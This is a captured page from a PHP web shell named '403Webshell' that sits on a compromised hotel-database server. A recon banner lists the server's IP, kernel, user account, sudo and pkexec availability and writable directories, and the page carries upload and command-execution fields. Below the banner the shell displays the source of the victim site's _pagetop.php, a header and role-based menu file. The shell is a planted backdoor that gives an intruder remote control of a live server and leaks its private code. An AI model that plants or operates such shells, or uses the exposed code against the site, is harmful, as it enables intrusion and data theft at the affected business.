403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-prod/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-prod/public_html/mod/_pagetop.php
<?php
	$lock_file = "locksite.htm";
	if (file_exists($lock_file)) :
		$homepage = file_get_contents($lock_file);
		echo $homepage;	
		die();
	endif;
	if (($_SESSION['logged_in'] ?? NULL) == true) :
		$logo_href = 'index.php?IX=ez_guide';
	else :
		$logo_href = 'index.php?IX=home';
	endif;
	if (!empty(APP_MARQUEE)) :
		echo '<div class="marquee"><span>'.APP_MARQUEE.'</span></div>';
	endif;
?>
<div class="pagetop">
	<div class="pagetop_right">
		Master Hotel Database
	</div>
	<div class="pagetop_left">
		Davler Media Group
	</div>
	<?php
		//var_dump($_SESSION);
		if (($_SESSION['logged_in'] ?? NULL) == true) :
	?>
			<div id="div_login_form" class="pagetop_login">
				<form method="post" action="index.php?IX=logout">
					<span id="welcome">Welcome <?php echo $_SESSION['user_full_name']; ?>&nbsp;&nbsp;</span>
					<input type="submit" value="Logout" />&nbsp;&nbsp;
					<input type="button" value="Change Password" onclick="window.location.href = 'index.php?IX=password_form'" style="width:auto;" />
				</form>
			</div>
	<?php
		endif;
	?>
</div>
<?php
	$ar_menu_groups = array();
	function top_menu_item($menu_page, $menu_text, $roles = '')
	{
		if (role_match(get_roles(), $roles) || empty($roles)) :
			if ($menu_page == $_GET['IX']) :
				echo '<li class="selected">'.$menu_text.'</li> ';
			else :
				echo '<li><a onclick="appstack_reset();" href="index.php?IX='.$menu_page.'">'.$menu_text.'</a></li> ';
			endif;
		endif;
	}
	function top_menu_item_group_start($menu_page, $menu_text, $roles)
	{
		global $ar_menu_groups;
		if (empty($roles) || role_match( get_roles(), $roles)) :
			if ($menu_page == $_GET['IX']) :
				echo '<li class="selected"><a href="#">'.$menu_text.'</a><ul> ';
			else :
				if (empty($menu_page) || $menu_page == '#') :
					echo '<li><a href="#">'.$menu_text.'</a><ul> ';
				else :
					echo '<li><a onclick="appstack_reset();" href="index.php?IX='.$menu_page.'">'.$menu_text.'</a><ul> ';
				endif;
			endif;
			array_push($ar_menu_groups, $menu_text);
		endif;
	}
	function top_menu_item_group_end()
	{
		global $ar_menu_groups;
		if (count($ar_menu_groups) > 0) :
			echo '</ul></li>';
			array_pop($ar_menu_groups);
		endif;
	}
	if (($_SESSION['logged_in'] ?? NULL) == true) :
?>
		<form name="frm_pdf" id="frm_pdf" method="post" action="ajax.php?call=genpdf&header=<?php echo urlencode(get_page_title($ix)); ?>" style="display:none;" target="_blank">
			<textarea name="pdf_html" id="pdf_html"></textarea>
		</form>
		<div  class="fullspan">
			<div id="newnav" style="">
				<ul id="jsddm">
					<?php 
						top_menu_item('hotels', 'HOTELS','admin,eventmgr,distributor,verifier,driver,gte');
						top_menu_item_group_start('concierges', 'CONCIERGES', 'admin,eventmgr');
						top_menu_item('concierges_pending', 'Pending Concierges', 'admin,eventmgr');
						top_menu_item('cgr_types', 'CG Reward Types', 'admin,eventmgr');
						top_menu_item('job_categories', 'Job Categories', 'admin,eventmgr');
						top_menu_item_group_end();
						top_menu_item('contacts', 'CONTACTS', 'admin,eventmgr');
						top_menu_item_group_start('events', 'EVENTS', 'admin,eventmgr,eventview');
						top_menu_item('survey_templates', 'Survey Templates', 'admin,eventmgr');
						top_menu_item_group_end();
						//top_menu_item_group_start('events', 'EVENTS', 'admin,eventmgr');
						//top_menu_item('batch_email', 'Batch Email', 'admin,eventmgr');
						//top_menu_item_group_end();
						top_menu_item_group_start('guests', 'GUESTS', 'admin,eventmgr');
						top_menu_item('associations', 'Associations', 'admin,eventmgr');
						top_menu_item_group_end();
						top_menu_item('routes', 'ROUTES', 'admin,distributor,verifier');
						top_menu_item('my_routes', 'MY ROUTES', 'driver');
						top_menu_item('neighborhoods', 'NEIGHBORHOODS', 'admin,eventmgr,distributor');
						top_menu_item('sales_reps', 'SALES REPS', 'admin,eventmgr');
						top_menu_item('users', 'USERS', 'admin');
						top_menu_item('drivers', 'DRIVERS', 'distributor');
						top_menu_item('reports', 'REPORTS', 'admin');
						top_menu_item_group_start('#', 'UTILITIES', 'super');
						top_menu_item('data_load_contacts', 'Data Load - Contacts', 'super');
						top_menu_item('data_load_nycahc', 'Data Load - NYCAHC', 'super');
						top_menu_item('data_load_job_categories', 'Data Load - Job Categories', 'super');
						top_menu_item_group_end();
					?>
				</ul>	
			</div>
		</div>
		<script>
			// see whether device supports touch events (a bit simplistic, but...)
			var hasTouch = ("ontouchstart" in window);
			var iOS5 = /iPad|iPod|iPhone/.test(navigator.platform) && "matchMedia" in window;
			 
			// hook touch events for drop-down menus
			// NB: if has touch events, then has standards event handling too
			// but we don't want to run this code on iOS5+
			if (hasTouch && document.querySelectorAll && !iOS5) {
				var i, len, element,
					dropdowns = document.querySelectorAll("#jsddm li.children > a");
			 
				function menuTouch(event) {
					// toggle flag for preventing click for this link
					var i, len, noclick = !(this.dataNoclick);
			 
					// reset flag on all links
					for (i = 0, len = dropdowns.length; i < len; ++i) {
						dropdowns[i].dataNoclick = false;
					}
			 
					// set new flag value and focus on dropdown menu
					this.dataNoclick = noclick;
					this.focus();
				}
			 
				function menuClick(event) {
					// if click isn't wanted, prevent it
					if (this.dataNoclick) {
						event.preventDefault();
					}
				}
			 
				for (i = 0, len = dropdowns.length; i < len; ++i) {
					element = dropdowns[i];
					element.dataNoclick = false;
					element.addEventListener("touchstart", menuTouch, false);
					element.addEventListener("click", menuClick, false);
				}
			}
		</script>
<?php
	endif;
?>	

Youez - 2016 - github.com/yon3zu
LinuXploit